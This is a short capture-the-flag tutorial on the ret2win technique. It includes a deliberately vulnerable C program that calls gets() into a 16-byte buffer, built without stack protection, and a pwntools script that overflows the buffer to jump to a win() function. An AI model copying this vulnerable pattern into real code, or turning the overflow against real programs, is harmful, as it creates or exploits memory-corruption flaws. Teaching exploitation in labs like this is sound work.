Return To Win (ret2win)

Return to win (ret2win) #

Description #

ret2win is a very common CTF technique where we overwrite a function’s return address.

Every time a function is called, a new “stack frame” is created that holds metadata for that function. This includes a “return address” which tells the CPU where to go after it is done executing the function.

We can overwrite this return address using a buffer overflow to tell the CPU to go somewhere else that we want.

Example #

#include <stdio.h>
#include <string.h>
// gcc -no-pie -fno-stack-protector -g -o chal chal.c

void win() {
    puts("flag{win}");
}

void vuln() {
    char buffer1[16];

    gets(buffer1);
}

int main() {
    vuln();
}

Solution #

Using a buffer overflow, we will overwrite the return address with the address of win.

Solve Script #

import pwn

elf = pwn.ELF("./chal")
p = elf.process()

win_addr = elf.symbols['win']
print(f"win_addr={hex(win_addr)}")

p.sendline(b"a"*16 + pwn.p64(0) + pwn.p64(win_addr))
p.interactive()

Files #